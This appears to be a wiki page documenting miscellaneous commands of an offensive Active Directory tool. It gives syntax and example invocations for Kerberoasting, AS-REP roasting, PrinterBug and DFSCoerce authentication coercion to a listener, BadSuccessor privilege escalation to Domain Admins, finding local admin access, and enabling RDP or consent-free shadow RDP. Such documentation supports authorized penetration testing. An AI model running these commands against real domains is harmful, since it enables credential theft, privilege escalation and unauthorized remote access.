-
-
Notifications
You must be signed in to change notification settings - Fork 97
Misc Functions
Description
Convert a given security identifier (SID) to user/group name.
Aliases
None
Syntax
PV > ConvertFrom-SID
-NoCache -ObjectSID -OutFile -ServerExamples
PV > ConvertFrom-SID -ObjectSID S-1-5-21-xxx-512
PV > ConvertFrom-SID S-1-5-21-xxx-512Parameters
# With Argument
-ObjectSID = (required)
-Server =
-OutFile =
# No Argument
-NoCacheDescription
Converts a UAC int value to human readable form.
Aliases
None
Syntax
PV > ConvertFrom-UACValue
-OutFile -TableView -ValueExamples
PV > ConvertFrom-UACValue -Value 66048
PV > ConvertFrom-UACValue 512Parameters
# With Argument
-Value = (required)
-OutFile =
# No Argument
-TableViewDescription
List out Named Pipes for a specific computer.
Aliases
None
Syntax
PV > Get-NamedPipes
-Computer -ComputerName -Count -MaxThreads -Name -OutFile -Server -TableView -TimeoutExamples
PV > Get-NamedPipes -Computer DC01
PV > Get-NamedPipes -Computer DC01 -Name sqlsvcParameters
# With Argument
-Name =
-Computer = (required, or -ComputerName)
-ComputerName = (required, or -Computer)
-Server =
-OutFile =
-Timeout = (default 5)
-MaxThreads = (default 10)
# No Argument
-TableView
-CountDescription
Requests kerberos ticket for a specified service principal name (SPN).
Aliases
None
Syntax
PV > Invoke-Kerberoast
-Count -Identity -LDAPFilter -NoCache -NoWrap -Opsec -OutFile -Select -Server -SortBy -TableView -WhereExamples
PV > Invoke-Kerberoast
PV > Invoke-Kerberoast -Identity svc_sql
PV > Invoke-Kerberoast -OpsecParameters
# With Argument
-Identity =
-LDAPFilter =
-Server =
-Select =
-Where =
-SortBy =
-OutFile =
# No Argument
-Opsec
-TableView
-Count
-NoWrap
-NoCacheDescription
Find ASREPRoastable users and request AS-REQ without preauth.
Aliases
None
Syntax
PV > Invoke-ASREPRoast
-Count -Identity -NoCache -NoWrap -OutFile -SearchBase -Select -Server -SortBy -TableViewExamples
PV > Invoke-ASREPRoast
PV > Invoke-ASREPRoast -Identity testuserParameters
# With Argument
-Identity =
-SearchBase =
-Server =
-Select =
-SortBy =
-OutFile =
# No Argument
-TableView
-Count
-NoWrap
-NoCacheDescription
Triggers the MS-RPRN RpcRemoteFindFirstPrinterChangeNotificationEx function to coerce authentication.
Aliases
None
Syntax
PV > Invoke-PrinterBug
-Count -Listener -NoWrap -OutFile -Select -Server -SortBy -TableView -Target -WhereExamples
PV > Invoke-PrinterBug -Target DC01 -Listener 10.10.10.5Parameters
# With Argument
-Target = (required)
-Listener = (required)
-Server =
-OutFile =
-Select =
-Where =
-SortBy =
# No Argument
-TableView
-Count
-NoWrapDescription
Coerces machine account authentication via MS-DFSNM.
Aliases
None
Syntax
PV > Invoke-DFSCoerce
-Count -Listener -NoWrap -OutFile -Select -Server -SortBy -TableView -Target -WhereExamples
PV > Invoke-DFSCoerce -Target DC01 -Listener 10.10.10.5Parameters
# With Argument
-Target = (required)
-Listener = (required)
-Server =
-OutFile =
-Select =
-Where =
-SortBy =
# No Argument
-TableView
-Count
-NoWrapDescription
Send a message box to a remote computer terminal session.
Aliases
None
Syntax
PV > Invoke-MessageBox
-Computer -ComputerName -Count -Hash -Message -OutFile -Password -Server -SessionId -TableView -Title -UsernameExamples
PV > Invoke-MessageBox -Computer DC01 -Title "Alert" -Message "System maintenance"Parameters
# With Argument
-Computer = (required, or -ComputerName)
-ComputerName = (required, or -Computer)
-Username =
-Password =
-Hash =
-SessionId =
-Title = (required)
-Message = (required)
-Server =
-OutFile =
# No Argument
-TableView
-CountDescription
Exploits dMSA successor relationship for privilege escalation.
Aliases
PV > Invoke-DMSASyncSyntax
PV > Invoke-BadSuccessor
-BaseDN -Count -DMSAName -Force -NoCache -NoDelete -OutFile -PrincipalAllowed -Server -TableView -TargetIdentityExamples
PV > Invoke-BadSuccessor -DMSAName "evil_dmsa" -TargetIdentity "Domain Admins"Parameters
# With Argument
-DMSAName =
-PrincipalAllowed =
-TargetIdentity =
-BaseDN =
-Server =
-OutFile =
# No Argument
-Force
-TableView
-Count
-NoCache
-NoDeleteDescription
Finds computers on the local domain where the current user has Local Administrator access.
Aliases
None
Syntax
PV > Find-LocalAdminAccess
-Computer -ComputerName -Count -Hash -NoCache -NoResolve -OutFile -Password -Server -TableView -UsernameExamples
PV > Find-LocalAdminAccess
PV > Find-LocalAdminAccess -Computer DC01Parameters
# With Argument
-Computer =
-ComputerName =
-Username =
-Password =
-Hash =
-Server =
-OutFile =
# No Argument
-NoResolve
-TableView
-Count
-NoCacheDescription
Enable Remote Desktop on a remote computer via registry.
Aliases
None
Syntax
PV > Enable-RDP
-Computer -DisableRestrictedAdmin -NoVerifyExamples
PV > Enable-RDP -Computer DC01Parameters
# With Argument
-Computer = (required)
# No Argument
-NoVerify
-DisableRestrictedAdminDescription
Disable Remote Desktop on a remote computer via registry.
Aliases
None
Syntax
PV > Disable-RDP
-Computer -NoVerifyExamples
PV > Disable-RDP -Computer DC01Parameters
# With Argument
-Computer = (required)
# No Argument
-NoVerifyDescription
Enable shadow RDP (allow connecting to existing sessions without consent).
Aliases
None
Syntax
PV > Enable-ShadowRDP
-ComputerExamples
PV > Enable-ShadowRDP -Computer DC01Parameters
# With Argument
-Computer = (required)
# No ArgumentDescription
Disable shadow RDP.
Aliases
None
Syntax
PV > Disable-ShadowRDP
-ComputerExamples
PV > Disable-ShadowRDP -Computer DC01Parameters
# With Argument
-Computer = (required)
# No ArgumentDescription
Enable EFS over RPC on target.
Aliases
None
Syntax
PV > Enable-EFSRPC
-Computer -PortExamples
PV > Enable-EFSRPC -Computer DC01Parameters
# With Argument
-Computer = (required)
-Port = (default 135)
# No Argument
- Introduction
- Installation
- Supported Authentication
- Cheatsheets
- Obfuscation
- User Defined Rules
- Public Writeups
LDAP Operations
- Get-DomainUser
- Get-DomainComputer
- Get-DomainGroup
- Get-DomainGroupMember
- Get-DomainOU
- Get-Domain
- Get-DomainController
- Get-DomainDNSRecord
- Get-DomainDNSZone
- Get-DomainObject
- Get-DomainObjectAcl
- Get-DomainObjectOwner
- Get-DomainSCCM
- Get-DomainRBCD
- Get-DomainWDS
- Get-LocalUser
- Set-DomainObject
- Set-DomainObjectDN
- Set-DomainObjectOwner
- Set-DomainUserPassword
- Set-DomainComputerPassword
- Set-DomainRBCD
- Set-DomainDNSRecord
- Add-DomainUser
- Add-DomainComputer
- Add-DomainGroup
- Add-DomainGroupMember
- Add-DomainOU
- Add-DomainGPO
- Add-DomainObjectAcl
- Add-DomainDNSRecord
- Remove-DomainUser
- Remove-DomainComputer
- Remove-DomainObject
- Remove-DomainGroupMember
- Remove-DomainOU
- Remove-DomainObjectAcl
- Remove-DomainDNSRecord
- Disable-DomainDNSRecord
- Restore-DomainObject
- Unlock-ADAccount
- Enable-ADAccount
- Disable-ADAccount
- Login-As
- Clear-Cache
Computer Enumeration
- Get-NetSession
- Get-NetShare
- Get-NetLoggedOn
- Get-RegLoggedOn
- Get-NetComputerInfo
- Get-NetTerminalSession
- Get-NetProcess
- Stop-NetProcess
- Get-EventLog
- Get-EventLogChannel
- Get-EventLogPublisher
- Get-NetService
- Start-NetService
- Stop-NetService
- Add-NetService
- Set-NetService
- Remove-NetService
- Stop-Computer
- Restart-Computer
- Remove-NetTerminalSession
- Remove-NetSession
- Logoff-Session